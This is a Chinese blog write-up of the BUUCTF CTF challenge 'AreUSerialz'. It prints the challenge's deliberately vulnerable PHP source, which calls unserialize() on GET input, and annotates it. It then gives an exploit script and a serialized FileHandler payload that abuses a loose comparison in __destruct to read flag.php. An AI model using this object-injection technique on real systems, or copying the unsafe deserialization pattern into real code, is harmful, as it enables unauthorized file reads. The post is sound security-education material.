当前位置: 首页 > article >正文

108,【8】 buuctf web [网鼎杯 2020 青龙组]AreUSerialz

进入靶场

<?php
// 包含 flag.php 文件,通常这个文件可能包含敏感信息,如 flag
include("flag.php");

// 高亮显示当前文件的源代码,方便查看代码结构和逻辑
highlight_file(__FILE__);

// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {
    // 受保护的属性 $op,用于表示操作类型(1 表示写操作,2 表示读操作)
    protected $op;
    // 受保护的属性 $filename,用于存储要操作的文件名
    protected $filename;
    // 受保护的属性 $content,用于存储要写入文件的内容
    protected $content;

    // 构造函数,当创建 FileHandler 类的对象时自动调用
    function __construct() {
        // 初始化操作类型为 "1",表示写操作
        $op = "1";
        // 初始化要操作的文件名为 "/tmp/tmpfile"
        $filename = "/tmp/tmpfile";
        // 初始化要写入文件的内容为 "Hello World!"
        $content = "Hello World!";
        // 调用 process 方法处理操作
        $this->process();
    }

    // 公共方法,用于根据操作类型执行相应的处理
    public function process() {
        // 如果操作类型为 "1",执行写操作
        if($this->op == "1") {
            $this->write();
        // 如果操作类型为 "2",执行读操作并输出结果
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        // 若操作类型不是 "1" 或 "2",输出错误信息
        } else {
            $this->output("Bad Hacker!");
        }
    }

    // 私有方法,用于将内容写入文件
    private function write() {
        // 检查文件名和内容是否都已设置
        if(isset($this->filename) && isset($this->content)) {
            // 检查要写入的内容长度是否超过 100 个字符
            if(strlen((string)$this->content) > 100) {
                // 若超过 100 个字符,输出错误信息并终止程序
                $this->output("Too long!");
                die();
            }
            // 将内容写入指定文件,并获取写入的字节数
            $res = file_put_contents($this->filename, $this->content);
            // 根据写入结果输出相应信息
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        // 若文件名或内容未设置,输出错误信息
        } else {
            $this->output("Failed!");
        }
    }

    // 私有方法,用于从文件中读取内容
    private function read() {
        // 初始化读取结果为空字符串
        $res = "";
        // 检查文件名是否已设置
        if(isset($this->filename)) {
            // 从指定文件中读取内容
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    // 私有方法,用于输出结果信息
    private function output($s) {
        // 输出结果的提示信息
        echo "[Result]: <br>";
        // 输出具体的结果内容
        echo $s;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 如果操作类型严格等于 "2",将操作类型改为 "1"
        if($this->op === "2")
            $this->op = "1";
        // 将内容清空
        $this->content = "";
        // 再次调用 process 方法处理操作
        $this->process();
    }
}

// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {
    // 遍历字符串中的每个字符
    for($i = 0; $i < strlen($s); $i++)
        // 检查字符的 ASCII 码是否在有效范围内
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 检查是否通过 GET 请求传递了名为 'str' 的参数
if(isset($_GET{'str'})) {
    // 将获取到的参数转换为字符串
    $str = (string)$_GET['str'];
    // 检查字符串是否通过验证
    if(is_valid($str)) {
        // 若通过验证,对字符串进行反序列化操作
        $obj = unserialize($str);
    }
}

程序会根据 $op 属性的值决定执行写操作还是读操作,同时对写入内容的长度进行了限制

提供了一个验证函数 is_valid 用于检查输入字符串的合法性

允许通过 GET 请求传递一个序列化的对象进行反序列化操作

<?php
class FileHandler {
    public $op=2;
    public $filename="./flag.php";
	public $content;
	}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>

php在线运行,在线工具,在线编译IDE_w3cschool 

 

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;} 

 

 


http://www.kler.cn/a/533345.html

相关文章:

  • 使用开源项目:pdf2docx,让PDF转换为Word
  • PyQt4学习笔记2】QMainWindow
  • Python网络自动化运维---批量登录设备
  • deepseek ollama Chatbox 本地安装
  • 【leetcode练习·二叉树拓展】归并排序详解及应用
  • LeetCode:53.最大子序和
  • 每日Attention学习18——Grouped Attention Gate
  • 探索巨控GRM240系列远程模块的强大功能:物联应用新选择
  • deepseek、qwen等多种模型本地化部署
  • RabbitMQ 深度解析与最佳实践
  • 【LeetCode 刷题】贪心算法(1)-基础
  • React开发中箭头函数返回值陷阱的深度解析
  • 利用TensorFlow.js实现浏览器端机器学习:一个全面指南
  • 机器学习专业毕设选题推荐合集 人工智能
  • 4 HBase 的高级 shell 管理命令
  • [基础]端口隔离实验
  • Elasticsearch 就业形势
  • C++STL(二)——vector
  • 基于springboot河南省旅游管理系统
  • Java高频面试之SE-17
  • 糖果(安师大)
  • vscode技巧总结
  • go语言中的Stringer的使用
  • 【工具变量】中国省级八批自由贸易试验区设立及自贸区设立数据(2024-2009年)
  • JSON常用的工具方法
  • 家政预约小程序12服务详情